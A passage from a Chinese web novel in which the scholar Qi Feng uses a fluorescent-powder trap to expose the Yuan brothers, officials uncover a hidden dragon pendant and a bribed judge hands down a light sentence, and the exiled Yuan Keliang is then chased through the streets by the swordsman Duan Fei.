齐枫看着他死到临头还嘴硬的模样,忽然笑了,笑得云淡风轻:“证据?自然有。”
袁克良脸上的笑容瞬间僵住,像是被人兜头浇了一盆冰水,心头咯噔一下:“你……你说什么?”
齐枫没理会他的惊慌,转头看向萧无痕,慢悠悠道:“萧大人,不瞒您说,早在抓到这三个**时,我就料到袁公子会狗急跳墙,派人来灭口。所以……”
他顿了顿,目光扫过地牢角落,“我早就在这地牢里布了些小手段。”
袁浩然站在一旁,听到“灭口”二字,脸色瞬间变得惨白,手指无意识地攥紧了衣摆,脚步悄悄往后挪了挪,像是想趁乱溜走。
齐枫恰好捕捉到他这小动作,嘴角勾起一抹冷冽的弧度:“袁二公子,急着走吗?好戏才刚开始呢。”
袁浩然身子一僵,强装镇定地梗起脖子:“谁,谁急着走了?我只是站累了……”
“是吗?”齐枫挑眉,朝富贵使了个眼色。
富贵咧嘴一笑,像拎小鸡似的一把抓住袁浩然的后领,将他硬生生拽了回来。袁浩然踉跄几步,差点摔倒,脸上满是惊恐,却不敢挣扎,只能嗫嚅道:“你……你们想干什么?”
第一百六十四章 胆大包天
齐枫没理他,继续对萧无痕道:“萧大人,我在这地牢的石壁和地面都涂了一种特制的荧光粉。这种粉末无色无味,附着力极强,一旦沾到身上,寻常水洗不掉,只有在特定的光线照射下才会显现。”
他顿了顿,目光如刀扫过袁浩然:“刚不久,袁公子派来的人潜入地牢想**灭口,想必身上也沾了不少。只要用火把从侧面照一照,便知谁在撒谎。”
袁浩然闻言,脸色“唰”地一下变得惨白如纸,双腿一软竟直接瘫坐在地上,嘴里语无伦次地念叨:“不……不可能……我明明检查过……”
袁克良心头也是一沉,隐隐觉得不妙,却还是强撑着喊道:“一派胡言!齐枫,你少在这儿故弄玄虚!什么荧光粉?我看你是拿不出证据,想耍花样蒙混过关!”
“是不是故弄玄虚,试试便知。”齐枫朝小荷扬了扬下巴,“小荷,去拿火把来。”
小荷脆生生应了一声,转身跑出地牢。
没过片刻,她举着一支燃烧的火把回来,火苗在潮湿的空气中摇曳,映得众人脸上光影不定。
齐枫接过火把,走到袁浩然面前,将火把微微倾斜,让火光从侧面照在他身上。
刹那间,惊人的一幕出现了!
袁浩然的衣袖,裤脚乃至鞋面上,竟浮现出点点幽绿色的荧光,像夏夜的鬼火般醒目。
这些荧光星星点点,在火光下格外刺眼,显然是沾了不少粉末。
“哇!真有荧光!”小荷忍不住惊呼。
袁克良瞳孔骤缩,死死盯着袁浩然身上的荧光,嘴唇哆嗦着说不出话。
他这才明白,自己还是低估了齐枫的心思,这看似简单的地牢里,竟藏着如此缜密的陷阱。
萧无痕的脸色也沉了下来,目光如刀剜向袁浩然:“袁浩然,这荧光粉是怎么回事?你还有何话可说?”
袁浩然吓得浑身发抖,连连摇头:“不是我……真的不是我……是齐枫陷害我!他早就知道我会来,故意设下圈套!”
“哦?”齐枫轻笑,又举着火把走向那三个绑在石柱上的**,“那他们身上的荧光,也是我陷害的?”
火把的侧光照射下,三个**的黑衣上同样布满了幽绿色的荧光,尤其是袖口和衣角处,荧光密集得像撒了一把碎星。
“这……”萧无痕的脸色越发阴沉,连他都看得出,这些荧光绝非刻意涂抹,更像是在挣扎或跑动时不小心沾到的。
齐枫又转向富贵,火把照去,富贵身上却干干净净,连一点荧光都没有。
“富贵一直守在地牢外,从未进来过,所以身上没有。”齐枫语气平淡,却字字诛心,“反观袁二公子和这三位**,身上都有荧光。萧大人,这难道还不够说明问题吗?”
赵明德捋着胡须,沉声道:“萧大人,证据确凿,袁氏兄弟派人潜入地牢**灭口,已是板上钉钉之事!”
卢正淳也点头附和:“若不是做贼心虚,何必冒险潜入?看来齐公子所言非虚,这三个**的确是袁公子所派。”
袁克良见大势已去,却仍不死心,突然扑到萧无痕脚边,死死抱住他的腿哭喊:“萧大人!您要相信我!这都是齐枫的阴谋!他就是想借您的手除掉我袁氏!您想想,我要是倒了,谁最受益?自然是他这外来的书生!”
萧无痕被他抱得动弹不得,脸色铁青,一脚将他踹开:“够了!”
萧无痕靴底沾染的污泥溅在袁克良华贵的锦袍上,狼狈不堪。
袁克良却像疯魔般扑爬着上前,死死拽住萧无痕的衣袍下摆:“萧大人!您不能信他!这荧光粉是他早就备好的圈套!我袁氏世代忠良,怎会做这等谋逆之事?!”
他额头青筋暴起:“齐枫这外来小子心思歹毒,就是想借您的刀斩除异己!您想想,他刚中榜首就急于扩张势力,锦绣阁的生意抢了多少商户的活路?如今又把主意打到我袁氏头上,其心可诛啊!”
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>袁浩然瘫在地上,见状也连滚带爬地扑过来,涕泪横流:“萧大人!我也是被冤枉的!那荧光粉说不定是齐枫趁乱撒在我身上的!他就是想一石二鸟,把我们兄弟俩都拖下水!”
齐枫站在一旁,看着两人丑态毕露,忽然拍手轻笑:“袁公子,袁二公子,你们这戏码倒是精彩。只可惜……”
他朝富贵抬了抬下巴,富贵心领神会,转身走出地牢,片刻后领着四个黑衣人进来。
这四人同样蒙着面,穿着与石柱上**同款的夜行衣,只是手脚未被束缚,眼神却透着惊恐。
“诸位瞧瞧,”齐枫声音清朗,“这几位是前不久与袁二公子一同潜入地牢的客人。富贵刚才在锦绣阁后院抓到的,他们身上的夜行衣都没来得及换呢。”
说着,他举起火把凑近。
火光侧照下,四个黑衣人身上果然布满了幽绿色的荧光,与袁浩然和石柱上**的荧光如出一辙。
“这……”萧无痕的脸色彻底沉如寒冰,连他都看得出,这绝非巧合。
赵明德捋着胡须,沉声道:“萧大人,事到如今,再容他们狡辩已是多余。依本官看,不如即刻前往袁府,搜一搜那龙佩是否真在书房暗格。若能找到,便是铁证如山!”
卢正淳点头附和:“赵大人所言极是。袁克良口口声声说被陷害,搜过便知真假。”
萧无痕紧攥着圆月弯刀,指节泛白。
他瞥了眼仍在哭喊的袁克良,又看向齐枫平静无波的脸,终是咬牙道:“走!去袁府!”
袁克良闻言如遭雷击,猛地瘫坐在地,眼神涣散:“不……不能去……”
他虽然很明确的知道自己压根没有龙佩,甚至没见过这鬼东西什么样。
可齐枫既然这么说,那去了肯定完犊子!
他这副模样落在众人眼里,更是坐实了心中的猜测。
官差们上前将袁克良,袁浩然及七个**一并捆牢,像拖牲口似的往外带。
第一百六十五章 证据确凿
齐枫转身对赵明德笑道:“赵大人,卢大人,委屈二位同往作证。”
赵明德哈哈一笑:“齐贤弟客气了,此等大事,本官自当见证。”
一行人浩浩荡荡地走出锦绣阁,阳光刺眼,百姓们早已围得水泄不通。
见到被捆成粽子的袁氏兄弟,人群顿时爆发出震天的欢呼,簇拥着队伍朝袁府方向挪动。
“袁克良被抓啦!快看!那就是派**的凶手!”
“活该!让他平日里横行霸道!”
议论声像潮水般涌来,袁克良被官差拖拽着前行,锦袍沾满污泥,发髻散乱,哪里还有半分世家公子的体面?
他死死低着头,耳边的咒骂声像针似的扎进心里,指甲深深掐进掌心,渗出血丝。
袁浩然更是吓得浑身筛糠,被两个官差架着走,双腿几乎拖在地上,裤脚沾满尘土,嘴里还在语无伦次地念叨:“不是我……真的不是我……”
齐枫与赵明德,卢正淳并肩而行,神色淡然。
楚清秋与南宫玥跟在他身后,小荷则蹦蹦跳跳地举着火把,向围观百姓展示**身上的荧光,引得阵阵惊呼。
富贵带着几个护卫走在队伍队伍最前方,手中铁链拖拽着那几个黑衣**,步伐沉稳如同铁塔。
队伍行至南街,原本热闹的街市瞬间安静,商贩们纷纷停下手中活计,伸长脖子张望,待看清被捆的是袁氏兄弟,顿时爆发出比锦绣阁外更响亮的议论声。
“我的天!袁大少和袁二少都被抓了?听说他们派****灭口,还想勾结余孽谋反呢!”
“怪不得前几日就有流言,原来是真的!齐公子真是厉害,连袁氏都敢动!”
这些议论像针一样扎在袁克良心上,他猛地抬起头,眼中布满血丝,对着人群嘶吼:“都是假的!是齐枫陷害我!你们这些愚民,别被他骗了!”
可回应他的只有一片哄笑和唾骂。
“都这时候了还嘴硬,真是不见棺材不掉泪!袁氏平日里欺压百姓,早就该有这一天了!”
“就是!齐公子仁义无双,要不是你自己有问题怎么会陷害你?怎么不来陷害我?”
袁克良被骂得狗血淋头,终是颓然低下头,任由官差拖拽着前行,脊梁骨仿佛被抽走一般,再也挺不起来。
队伍一路穿过南街,西街,朝着袁府所在的北城行进。
所过之处,百姓纷纷驻足围观,议论声浪如影随形。
半个时辰后,队伍抵达袁府门前。
袁府占地极广,朱漆大门紧闭,门前两尊石狮威严肃穆,只是此刻门庭冷落,不见往日车水马龙的景象,显然府内已经得到消息,乱成了一锅粥。
萧无痕上前一步,对着大门怒喝:“袁府的人听着!开门!朝廷办案!”
门内鸦雀无声,只有隐约的哭喊声传来。
富贵不耐烦了,上前一脚踹在门板上,“哐当”一声巨响,厚重的朱漆大门竟被踹得松动,露出一道缝隙。
“再不开门,老子直接砸了!”富贵粗声喝道,声如洪钟。
门内传来一阵慌乱的脚步声,片刻后,大门“吱呀”一声打开,几个家丁战战兢兢地站在门后,为首的管家脸色惨白,颤声道:“官,官爷……不知我家少爷犯了何事?”
萧无痕懒得跟他废话,挥了挥手:“让开!”
官差们一拥而入,管家和家丁们吓得连连后退,不敢阻拦。
齐枫与赵明德,卢正淳等人紧随其后,踏入袁府。
府内亭台楼阁精致,花园假山错落,只是此刻一片狼藉,丫鬟仆妇们哭哭啼啼地收拾着细软,显然是想跑路。
“都给我站住!”萧无痕怒喝一声,“谁敢乱动,以同党论处!”
丫鬟仆妇们吓得纷纷跪地,哭喊声此起彼伏。
萧无痕看向袁克良,冷声道:“你的书房在哪?”
袁克良紧咬着牙,拒不吭声。
富贵上前一步,一把揪住他的头发,将他的脸强行抬起:“问你话呢!哑巴了?”
袁克良吃痛,却依旧梗着脖子:“我不知道!你们休想污蔑我!”
“不知道?”齐枫轻笑,转
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头对一个吓得瑟瑟发抖的丫鬟道,“你家少爷的书房在哪?说了有赏。”
丫鬟哆哆嗦嗦地指向西侧的院落:“在,在那边……”
萧无痕挥了挥手:“带路!”
一行人朝着西侧院落走去,袁克良被两个官差架着,眼神怨毒地盯着齐枫,像一头濒死的困兽。
袁府的书房气派非凡,紫檀木书桌宽大,墙上挂着名家字画,只是此刻抽屉被翻得乱七八糟,显然有人提前搜过。
齐枫目光扫过书房,最终落在书桌后的墙壁上,笑道:“萧大人,暗格应该就在这墙上。”
萧无痕示意官差上前,两个官差用**沿着墙壁缝隙撬动,片刻后,一块木板“咔嚓”一声松动,露出一个黑漆漆的暗格。
官差伸手一摸,从暗格里掏出一个精致的木盒。
萧无痕接过木盒,打开一看,里面赫然放着一块巴掌大小的赤红玉佩,上面雕刻着两条游龙!
“这……”赵明德和卢正淳对视一眼,都从对方眼中看到了震惊。
萧无痕拿着玉佩,转身走向袁克良,将将玉佩凑到他眼前:“袁克良,你还有何话可说?”
袁克良的瞳孔骤然收缩,死死盯着那枚赤红玉佩,喉咙里发出嗬嗬的怪响,像是被抽走了魂魄。
他张了张嘴,却一个字也吐不出来,双腿一软,彻底瘫倒在地,唯有嘴唇还在无意识地哆嗦,想要否认这铁一般的事实。
“不……不是我的……”他喃喃自语,声音细若蚊蚋,“是他栽赃……是齐枫栽赃……”
可这辩解在龙佩和满室的证据面前,显得如此苍白无力。
萧无痕冷哼一声,将玉佩贴身收了起来,他转向赵明德和卢正淳,沉声道:“赵大人,卢大人,看来无需再审,证据已经足够。”
赵明德捋着胡须,沉声道:“萧大人说得是,袁氏勾结余孽,私藏龙佩,派**灭口,桩桩件件都有实证,按律当……”
“按律当斩!”卢正淳接过话头,语气严厉,“此等谋逆大罪,绝不能姑息!”
第一百六十六章 惩罚
周围的官差和随行人等纷纷附和,看向袁克良的目光如同看一个**。
袁克良瘫在地上,眼神涣散,嘴里反复念叨着“不是我”,却没人再理会他。
齐枫站在书房中央,目光淡淡扫过这一切,嘴角勾起一抹不易察觉的弧度。
他看向萧无痕,语气平静:“萧大人,如今证据确凿,该如何处置,就看大人的了。”
萧无痕脸色阴沉,握着刀柄的手指因用力而泛白。
他瞥了眼地上如同烂泥的袁克良,又看向气定神闲的齐枫,心中百感交集。
就在此时,院外突然传来一阵急促的脚步声,伴随着老管家惊慌的呼喊:“老爷!老爷!您慢点!”
众人循声望去,只见一个身着藏青色锦袍的中年男人在几名仆役的搀扶下,跌跌撞撞地冲进书房。
老者约莫四旬年纪,面容与袁克良有几分相似,只是更显威严,正是袁氏现任家主,袁振山。
他一眼就看到了被捆在地上的袁克良和袁浩然,顿时眼前一黑,差点晕过去。
“这……这是怎么回事?”袁振山指着书房内的乱象,声音抖得不成样子,“我的儿啊……你们这是惹了多大的祸啊!”
袁克良见到父亲,像是抓住了最后一根救命稻草,突然从地上挣扎着爬起来,扑向袁振山:“爹!救我!是齐枫陷害我!他想毁了咱们袁家啊!”
袁振山被他拽得一个趔趄,看着儿子凄惨的模样,又看看满室的官差和证物,顿时心如刀绞,却又无可奈何。
他转向萧无痕,老泪纵横地作揖:“萧大人!小儿无知,冲撞了大人,求大人看在袁氏世代忠良的份上,高抬贵手啊!”
萧无痕避开他的礼,语气冰冷:“袁老爷,事到如今,可不是本官能做主的。”
他指了指官差手中的龙佩和地上的**,“证据确凿,袁氏勾结余孽,私藏龙佩,派**灭口,桩桩件件都够得上谋逆大罪,本官也无能为力。”
袁振山闻言,身子晃了晃,险些站立不稳。
他看着地上的儿子,又看看神色平静的齐枫,嘴唇哆嗦着,终是颓然叹了口气,老泪纵横。
齐枫站在一旁,看着这父慈子孝的场面,只是淡淡一笑,并未多言。
袁振山看着瘫在地上的袁克良,老泪纵横,却终究压下悲痛,对着萧无痕深深一揖:“萧大人,犬子顽劣,犯下滔天大罪,袁某无话可说。可袁氏在府城经营百年,世代忠良,从未有过谋逆之心。求大人看在袁氏一族的份上,饶克良一命,袁某愿散尽家财,赔偿朝廷损失!”
他顿了顿,又道:“袁氏乃是武学世家,府城半数护卫都出自袁氏武馆,若袁氏倒了,府城治安怕是要动荡。萧大人,袁某愿以袁氏百年声誉担保,定将这两个逆子严加管教,绝不再让他们踏出府门半步!”
这番话软硬兼施,既摆出家底,又暗示袁氏对府城的重要性,萧无痕眉头微蹙,显然有些动摇。
齐枫站在一旁,看着袁振山的表演,嘴角勾起一抹冷笑。
袁氏经营多年,盘根错节,萧无痕若真要彻底扳倒,怕是要牵动府城各方势力,难怪他会犹豫。
赵明德轻咳一声,上前道:“袁老爷,国法无情,谋逆大罪岂是说饶就能饶的?萧大人自有公断,你就别再为难他了。”
卢正淳也点头附和:“赵大人说得是。袁氏世代忠良,可袁克良所作所为,已非家事,而是国法层面的大事,马虎不得。”
袁振山却像是没听见,只是死死盯着萧无痕,老泪纵横:“萧大人,袁某愿单独与您说几句话,关乎府城安危,还请大人给袁某一个机会!”
萧无痕犹豫片刻,终是点头:“好,你随我来。”
两人走进书房内侧的隔间,关上房门,隐约传来低声交谈,却听不清具体内容。
袁克良瘫在地上,眼中闪过一丝希冀,对着隔间的方向哭喊:“爹!救我!我知道错了!”
袁浩然也跟
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着哭喊:“大伯!我们真的是被冤枉的!”
齐枫看着两人丑态,只是淡淡道:“事到如今,求饶有用吗?”
约莫一炷香后,隔间门打开,萧无痕走了出来,脸色依旧阴沉,却少了几分杀气。
袁振山跟在后面,腰杆挺得笔直,只是眼底的疲惫藏不住。
萧无痕走到袁克良面前,居高临下地看着他,沉声道:“袁克良,念在袁氏世代忠良,又对府城有功,本官暂且信你一回,你勾结余孽之事,或许真是被其他人陷害。”
这话一出,全场哗然。
小荷第一个跳出来,叉腰道:“萧大人!您这话什么意思?证据都摆在眼前了,怎么还说是陷害?”
赵明德也皱眉道:“萧大人,这……不妥吧?”
萧无痕摆手,继续道:“但你派**灭口,私藏龙佩是事实,死罪可免,活罪难逃。从今日起,你与袁浩然被逐出袁氏,不再是袁家族人,不得继承任何家产,永世不得踏入袁府半步!”
袁克良闻言,先是一愣,随即狂喜:“谢谢萧大人!谢谢大人!”
他像是忘了自己刚被定了谋逆罪,只顾着捡回一条命,连连叩首。
袁浩然也跟着磕头,涕泪横流:“谢萧大人开恩!我们再也不敢了!”
小荷气得脸通红,指着萧无痕道:“你这官怎么当的?勾结余孽是大罪,怎么能就这么算了?逐出家族而已,太轻了!”
赵明德捋着胡须,沉声道:“萧大人,谋逆乃是十恶不赦之罪,仅逐出家族,怕是难以服众。”
卢正淳也点头:“赵大人说得是。若人人都像袁公子这般,犯了大罪只受这点惩罚,国法威严何在?”
萧无痕脸色一沉,冷声道:“本官自有决断!袁克良二人虽被逐出家族,但需杖责三十,以儆效尤!此事就这么定了,谁也别再多言!”
他语气强硬,显然不愿再退让,赵明德与卢正淳对视一眼,终是叹了口气,不再多言。
第一百六十七章 最好的结局
齐枫看着萧无痕的背影,眼中闪过一丝了然。
袁振山定是许了萧无痕巨大好处,巨大好处,才让他松了口。这官场的交易,果然无处不在。
官差们上前,将袁克良与袁浩然拖了出去,准备执行杖责。
两人虽痛呼不止,脸上却带着劫后余生的庆幸,仿佛只要能活命,这点苦头根本不算什么。
萧无痕转身看向齐枫,手中把玩着那枚龙佩,沉声道:“齐公子,如今龙佩已找到,本官需即刻返回京城复命,追查余孽之事,暂且交由卢大人负责。”
卢正淳拱手道:“萧大人放心,本官定会严查到底,绝不姑息。”
齐枫点头笑道:“萧大人辛苦,预祝大人早日破案。”
萧无痕深深看了他一眼,没再多说,带着官差和龙佩,转身离开了袁府。
袁振山目送萧无痕离开,这才缓缓转过身,目光如刀般射向齐枫,声音冰冷:“齐公子,好手段。老夫倒是小瞧了你,竟能将我儿逼到这般地步。”
齐枫笑容不改,淡淡道:“袁老爷言重了。多行不义必自毙,袁公子落到今日下场,皆是咎由自取,与齐某无关。”
“无关?”袁振山怒极反笑,“若不是你步步设局,克良怎会身败名裂?齐枫,你别以为扳倒了两个毛头小子就能高枕无忧,我袁氏百年根基,岂是你能撼动的?”
齐枫挑眉:“袁老爷这是在威胁我?”
“不敢。”袁振山冷哼,“只是提醒齐公子,府城的水很深,别仗着有点小聪明就横行无忌。今日之事,老夫记下了,咱们走着瞧。”
他说罢,拂袖而去。
齐枫看着他的背影,嘴角笑意更深。
袁振山的威胁,他根本没放在心上。
袁氏经此一劫,元气大伤,短时间内绝不敢再轻举妄动,而他有的是时间,慢慢瓦解这所谓的百年根基!
“少爷,这袁振山也太嚣张了!”小荷气鼓鼓道,“明明是他儿子犯了错,还敢威胁你!”
楚清秋轻声道:“袁氏树大根深,咱们还是小心为妙。”
南宫玥也点头:“齐郎,袁振山这话怕是不会善罢甘休,往后行事需多加谨慎。”
齐枫摆手笑道:“放心,我心里有数。咱们走吧。”
一行人走出袁府,府外的百姓早已散去,只有几个好事者还在远远观望。
赵明德与卢正淳正站在门口等候,见齐枫出来,赵明德叹道:“齐贤弟,萧大人这决定,怕是难以服众啊。”
卢正淳也点头:“是啊,谋逆大罪仅换得逐出家族和杖责三十,未免太轻了。只是萧大人态度坚决,我二人也无能为力。”
齐枫笑道:“两位大人不必介怀。萧大人有他的考量,咱们只需做好分内之事即可。锦绣阁还有事,齐某先行告辞。”
赵明德与卢正淳拱手道别,看着齐枫离去的背影,相视一眼,都从对方眼中看到了复杂。
这年轻书生的手段,实在让人捉摸不透!
回到锦绣阁,小荷仍在愤愤不平:“少爷,萧大人也太偏心了!袁克良那种人,就该拉去**!”
楚清秋也道:“萧无痕此举,怕是会寒了百姓的心。”
齐枫坐在椅上,端起茶杯轻抿一口,淡淡道:“寒心又如何?官场之事,本就如此。萧无痕既要给袁氏面子,又要顾及国法,这般处置,已是他能做的最大让步。”
他顿了顿,嘴角勾起一抹深意的笑:“不过,他以为这样就能息事宁人,未免太天真了。”
小荷疑惑道:“少爷,你这话什么意思?”
齐枫放下茶杯,目光深邃:“袁克良被逐出家族,又被杖责三十,你觉得他会甘心?袁振山虽暂时忍了,但这笔账,他迟早会算到我头上。好戏,才刚刚开始。”
南宫玥看着他胸有成竹的模样,轻声道:“齐郎早已料到会是这般结果?”
齐枫点头:“萧无痕与袁氏勾结多年,怎会轻易将其扳倒?能将袁克良和袁浩然逐
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出袁氏,已是意外之喜。”
“赵大人与卢大人,看似站在咱们这边,实则各有盘算。府城除了知府衙门,便属四大世家势力最盛,袁氏更是其中翘楚,盘根错节,连府城半数护卫都与袁氏武馆沾亲带故。”
他顿了顿,折扇轻敲掌心:“他们巴不得袁氏元气大伤,却又怕袁氏真倒了,府城权力失衡。今日萧无痕做了恶人,将袁克良兄弟逐出家族,他们嘴上附和,心里怕是早已松了口气,既削弱了袁氏,又不必担上打压世家的骂名,何乐而不为?”
小荷听得眼睛发直,挠头道:“少爷,你是说,赵大人和卢大人刚才那些国法难容的话,都是场面话?”
齐枫哈哈一笑:“不全是场面话,却也藏着权衡。官场之上,谁不是人精?袁振山说袁氏倒了,府城治安动荡,看似威胁,实则说到了他们心坎里。真把袁氏逼急了,狗急跳墙,谁都讨不到好。”
楚清秋目光微闪,轻声道:“少爷料事如神。”
“**不离十。”齐枫折扇一展,“我从一开始的目标,就不是扳倒整个袁氏,而是让袁克良滚出袁家。他那性子,嚣张跋扈,没了袁氏庇护,就是拔了牙的老虎,翻不起大浪。至于袁浩然,不过是顺带清理罢了。”
南宫玥轻笑:“齐郎这步棋,走得深远。袁克良总爱冤枉别人,如今自己也尝了被逐出家族的滋味,也算报应。”
小荷却仍愤愤不平:“可就算被逐出家族,他毕竟是袁振山的儿子,暗地里指不定还能沾袁氏的光!就这么放过他,也太便宜了!”
齐枫神秘一笑,摇了摇头:“便宜?袁克良这些年仗着袁氏名头,得罪的人可不少。往日有袁氏撑腰,别人敢怒不敢言,如今他成了无根的浮萍,那些旧怨,怕是要一一找上门了。”
他顿了顿,眼中闪过一丝冷冽:“有些债,总得亲自讨。”
同时,府城城南的一间简陋客栈内,空气里弥漫着浓重的药味。
第一百六十八章 段飞索命
袁克良趴在床榻上,后背血肉模糊,三十大板打得他皮开肉绽,每动一下都痛得龇牙咧嘴。
袁浩然也好不到哪去,一条腿被打肿,只能歪坐在椅子上,龇着牙骂道:“齐枫那厮!还有萧无痕!竟敢真打!若不是大伯从中周旋,咱们兄弟怕是要在大牢里待一辈子!”
袁克良喘着粗气,额上冷汗直流,眼中却燃烧着怨毒的火焰:“待一辈子?他敢!等我伤好了,定要让齐枫付出血的代价!还有萧无痕,收了父亲那么多好处,竟还敢打我三十大板,这笔账,我记下了!”
“大哥,咱们现在被逐出家族,手头连银子都没多少,怎么报仇?”袁浩然哭丧着脸,“锦绣阁如今势大,赵大人和卢大人也偏向他,咱们怕是斗不过啊……”
“斗不过?”袁克良猛地回头,牵动伤口,痛得倒抽一口冷气,却依旧咬牙道,“我袁克良什么时候认过输?就算没了袁氏,我照样能让他身败名裂!”
他眼中闪过一丝阴狠:“齐枫不是最看重名声吗?我们就继续给他使绊子!”
袁浩然眼睛一亮:“齐枫那小子最会装模作样,只要让他名声扫地,锦绣阁的生意一垮,他就是秋后的蚂蚱,蹦跶不了几天!”
“不止这些。”袁克良冷笑,“我还记得,城西有个姓王的镖头,去年我帮了他,我对他有恩,还有南街的张老板,铺子也是我给他抢的……这些人,只要给点银子,保准愿意替咱们教训齐枫!”
袁浩然拍着大腿:“对!对!咱们正好借他们的手,让齐枫尝尝什么叫残忍!”
袁克良喘着粗气,脸上露出狰狞的笑:“等齐枫焦头烂额,我再偷偷联系几个袁氏旧部,那些人都是我爹的心腹,明着不敢帮我,暗地里送点银子、传点消息总没问题。到时候里应外合,定要让齐枫死无葬身之地!”
袁浩然连连点头,眼中闪烁着兴奋的光:“大哥英明!等咱们报了仇,再求大伯原谅,说不定还能回袁府!”
“回袁府?”袁克良嗤笑一声,眼神却暗了暗,“现在说这些还太早。当务之急是养好伤,找齐枫算账!你先去给我打盆热水,再买点上好的金疮药,钱不够就去当我这玉佩,这可是和田玉的,能换不少银子。”
袁浩然接过玉佩,掂量了两下,谄媚道:“大哥就是有办法!我这就去!”
他一瘸一拐地走出房间,房门“吱呀”一声合上,客栈内瞬间安静下来,只剩下袁克良压抑的痛呼和窗外的风声。
袁克良趴在榻上,后背的伤口火辣辣地疼,可心里的恨意却像野草般疯长。
他死死攥着拳头,指甲深深嵌进掌心:“齐枫……我不杀你,誓不为人!”
就在这时,一阵阴冷的风从门缝钻进来,吹得桌上的油灯忽明忽暗,映得墙壁上的影子扭曲如鬼魅。
袁克良打了个寒颤,警惕地喝道:“谁?!浩然,你怎么去这么快……”
话音未落,他眼角的余光瞥见墙角站着一道黑影。
那人穿着灰布短打,身形挺拔,手中握着一柄乌黑长刀,刀鞘上的风纹在昏暗中若隐若现,正是段飞!
此刻的他并未伪装,脸上那道从眼角延伸到下颌的刀疤在灯火下格外狰狞,眼神冷得像淬了冰。
袁克良的瞳孔骤然收缩,喉咙里发出嗬嗬的怪响,吓得浑身僵硬,连后背的剧痛都忘了。
“你……你是黑风刀段飞?!”他声音抖得不成样子,“官……官府不是说你逃了吗?怎会在这儿?”
段飞没有说话,只是缓缓抬起长刀,刀身在灯火下闪过一道寒光,映出袁克良惨白如纸的脸。
“你……你想干什么?”袁克良挣扎着想要爬起来,却牵动伤口,痛得闷哼一声,只能眼睁睁看着段飞一步步逼近。
他突然想起什么,尖叫道:“我知道了!是齐枫派你来的!他想**灭口!段飞,你别被他利用了!我袁氏有的是银子,你放了我,我给你一百两!不,一千两!
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”
段飞嘴角勾起一抹冷笑,那笑容里没有半分温度,只有彻骨的寒意。
他缓缓举起长刀,刀风卷起地上的灰尘,带着一股血腥气,直逼袁克良面门。
袁克良吓得魂飞魄散,手脚并用地往后挪,却被床沿卡住,退无可退。
“救命啊!**了!”他凄厉地呼喊,声音在空旷的客栈里回荡,却没人回应。
窗外的风声更紧了,像是无数冤魂在哀嚎。
段飞的刀越抬越高,刀身映出袁克良惊恐万状的脸,空气中弥漫着死亡的气息。
“齐枫……我做鬼也不会放过你!”
袁克良的嘶吼戛然而止,只剩下长刀划破空气的锐响,在寂静的客栈里格外刺耳。
段飞的长刀划破空气,带着凌厉的劲风,却并未直取要害,而是精准地劈在袁克良后背的伤口上。
“啊!!”
袁克良发出一声撕心裂肺的惨叫,本就血肉模糊的后背被这一刀划开更深的口子,鲜血喷涌而出,染红了身下的被褥。他疼得浑身抽搐,眼前阵阵发黑,险些晕厥过去。
“段飞!你敢伤我!我爹不会放过你的!”袁克良嘶吼着,眼中满是恐惧与怨毒,“齐枫派你来的是不是?他想让我死无全尸!”
段飞面无表情,手腕一翻,长刀再次扬起,刀风裹挟着寒意,直逼袁克良脖颈。
袁克良下意识地翻滚躲避,刀锋擦着他的肩头划过,带起一片血花,将旁边的木桌劈成两半。
“砰!”
木屑飞溅,油灯被震倒在地,火苗舔舐着散落的布料,很快燃起一小片火光。
浓烟呛得袁克良剧烈咳嗽,他趁机连滚带爬地冲向房门,后背的剧痛让他每挪动一寸都像要散架,可求生的本能驱使着他拼命逃窜。
“想跑?”段飞冷哼一声,身影如鬼魅般追了上去,乌黑长刀在火光中闪着森冷的光。
袁克良好不容易扑到门边,刚拉开一条缝隙,后领就被段飞一把揪住。
第一百六十九章 袁克良,卒
袁克良像拎小鸡似的被拽了回去,重重摔在地上,疼得眼前发黑。
“段飞!我给你钱!多少都给你!”袁克良涕泪横流,早已没了往日的嚣张,“放我一条活路,我马上离开府城,再也不回来!”
段飞没有说话,只是举起长刀,刀身映出袁克良惊恐的脸。
就在刀锋即将落下的瞬间,袁克良猛地抓起地上的断木,狠狠砸向段飞的膝盖。
段飞侧身避开,动作却迟滞了一瞬。
袁克良抓住这机会,连滚带爬地冲出房门,跌跌撞撞地跑向客栈外的街道。
“**了!黑风刀**了!”他一边跑一边嘶吼,声音嘶哑,后背的鲜血顺着衣袍滴落,在青石板路上留下一串触目惊心的血痕。
此时天色已晚,街道上行人稀疏,只有几个打更人和摊贩还在忙碌。
听到呼救声,众人纷纷侧目,当看清追在袁克良身后的段飞时,顿时炸开了锅。
“那不是黑风刀段飞吗?官府不是说他逃了吗?他怎么在追袁大少?袁大少不是被逐出袁氏了吗?”
“快看!袁大少背上全是血!段飞要杀他!”
议论声中,段飞脚步不停,乌黑长刀拖在地上,划出刺耳的声响,吓得路人纷纷躲避。
他像一头追逐猎物的猎豹,眼神死死锁定袁克良,无论对方如何拐弯抹角,都始终保持着几步的距离。
袁克良慌不择路,顺着南街狂奔,后背的伤口越来越痛,体力也渐渐不支。
他回头瞥见段飞紧追不舍,吓得魂飞魄散,只能拼尽全力往前跑,嘴里胡乱喊着:“救命啊!萧大人!赵大人!谁来救救我!”
可这本就偏僻,哪有官员会路过?只有越来越多的百姓围在街边,指指点点,却没人敢上前阻拦。
“袁大少平日里横行霸道,现在被段飞追杀,真是报应!”
“段飞可是朝廷重犯,杀了袁克良,怕是要把官府引来!”
“快躲远点!别被溅一身血!”
袁克良跑过锦绣阁附近的街口,看到熟悉的牌匾时,眼中闪过一丝希冀。
他猛地转向锦绣阁的方向,嘶吼道:“齐枫!你个**子!你派段飞杀我,就不怕遭天谴吗?!”
他本想借此引来锦绣阁的护卫,却没想到这声喊反而激起了段飞的杀意。
段飞脚下加速,瞬间拉近了距离,长刀挥出一道寒光,直劈袁克良的后腿。
“啊!”
袁克良惨叫一声,左腿被刀锋划开一道深可见骨的伤口,再也支撑不住,“扑通”一声摔倒在地,顺着斜坡滚到了南街的闹市口。
这里虽已收摊,却仍有不少夜宵摊贩和食客,见到这血腥的一幕,顿时顿时四散奔逃,尖叫声,桌椅倒地声响成一片。
袁克良趴在地上,左腿的剧痛让他几乎晕厥,后背的伤口与地面摩擦,更是痛得他浑身痉挛。
他抬起头,看着步步逼近的段飞,眼中充满了绝望。
“齐枫……我做鬼也不会放过你!”他用尽最后一丝力气嘶吼,声音嘶哑得如同破锣。
段飞面无表情,一步步走向他,乌黑长刀在月光下泛着冷冽的寒光。
周围的百姓远远围观,没人敢上前,只能看着这生死对峙。
